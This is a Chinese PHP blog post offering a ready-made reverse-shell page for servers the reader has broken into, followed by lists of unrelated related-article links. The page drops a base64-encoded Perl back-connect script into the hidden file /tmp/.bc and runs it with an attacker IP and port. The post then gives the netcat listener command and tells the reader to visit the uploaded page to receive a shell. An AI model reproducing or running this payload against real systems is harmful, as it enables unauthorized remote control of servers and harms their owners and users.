php反弹shell实现代码


Posted in PHP onApril 22, 2009

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。
声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "your IP"; 
$yourport = 'your port'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。
仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教
PHP 相关文章推荐
新版mysql+apache+php Linux安装指南
Oct 09 PHP
PHP 网页过期时间的控制代码
Jun 29 PHP
php5.3 废弃函数小结
May 16 PHP
PHP 防注入函数(格式化数据)
Aug 08 PHP
几个有用的php字符串过滤,转换函数代码
May 01 PHP
ThinkPHP3.1新特性之对分组支持的改进与完善概述
Jun 19 PHP
php实现检查文章是否被百度收录
Jan 27 PHP
PHP限制HTML内容中图片必须是本站的方法
Jun 16 PHP
php实现中文转数字
Feb 18 PHP
解析PHP的Yii框架中cookie和session功能的相关操作
Mar 17 PHP
php字符串截取函数mb_substr用法实例分析
Jun 25 PHP
PHP基于timestamp和nonce实现的防止重放攻击方案分析
Jul 26 PHP
将数组写入txt文件 var_export
Apr 21 #PHP
php 保留小数点
Apr 21 #PHP
PHP 中执行排序与 MySQL 中排序
Apr 21 #PHP
一个php导出oracle库的php代码
Apr 20 #PHP
php一句话cmdshell新型 (非一句话木马)
Apr 18 #PHP
对squid中refresh_pattern的一些理解和建议
Apr 17 #PHP
PHP 加密与解密的斗争
Apr 17 #PHP
You might like
php printf输出格式使用说明
2010/12/05 PHP
浅析ThinkPHP中execute和query方法的区别
2014/06/13 PHP
PHP _construct()函数讲解
2019/02/03 PHP
Jquery读取URL参数小例子
2013/08/30 Javascript
javascript为按钮注册回车事件(设置默认按钮)的方法
2015/05/09 Javascript
手机端js和html5刮刮卡效果
2020/09/29 Javascript
COM组件中调用JavaScript函数详解及实例
2017/02/23 Javascript
AngularJS中的拦截器实例详解
2017/04/07 Javascript
Node.js npm命令运行node.js脚本的方法
2018/10/10 Javascript
微信小程序--特定区域滚动到顶部时固定的方法
2019/04/28 Javascript
Vue + Element UI图片上传控件使用详解
2019/08/20 Javascript
解决layui表格内文本超出隐藏的问题
2019/09/12 Javascript
使用Vue-cli3.0创建的项目 如何发布npm包
2019/10/10 Javascript
vue中实现回车键登录功能
2020/02/19 Javascript
vue+iview分页组件的封装
2020/11/17 Vue.js
详解基于element的区间选择组件校验(交易金额)
2021/01/07 Javascript
更改Python命令行交互提示符的方法
2015/01/14 Python
Python编程之多态用法实例详解
2015/05/19 Python
Python实现树莓派WiFi断线自动重连的实例代码
2017/03/16 Python
详解Python中最难理解的点-装饰器
2017/04/03 Python
Python 模拟登陆的两种实现方法
2017/08/10 Python
python判断字符串是否是json格式方法分享
2017/11/07 Python
python使用正则表达式的search()函数实现指定位置搜索功能
2017/11/10 Python
python 获取键盘输入,同时有超时的功能示例
2018/11/13 Python
html5+css3之制作header实例与更新
2020/12/21 HTML / CSS
英国音乐设备和乐器商店:Gear4music
2017/10/16 全球购物
空字符串(“”)和null的区别
2012/11/13 面试题
机电一体化毕业生求职信
2013/11/02 职场文书
商务英语专业大学生职业生涯规划书
2014/09/14 职场文书
文员试用期转正自我鉴定
2014/09/14 职场文书
员工试用期自我鉴定范文
2014/09/15 职场文书
居委会四风问题个人对照检查材料
2014/09/25 职场文书
房屋买卖授权委托书
2014/09/27 职场文书
教师个人事迹材料
2014/12/17 职场文书
大学军训通讯稿(2016最新版)
2015/12/21 职场文书
Linux中文件的基本属性介绍
2022/06/01 Servers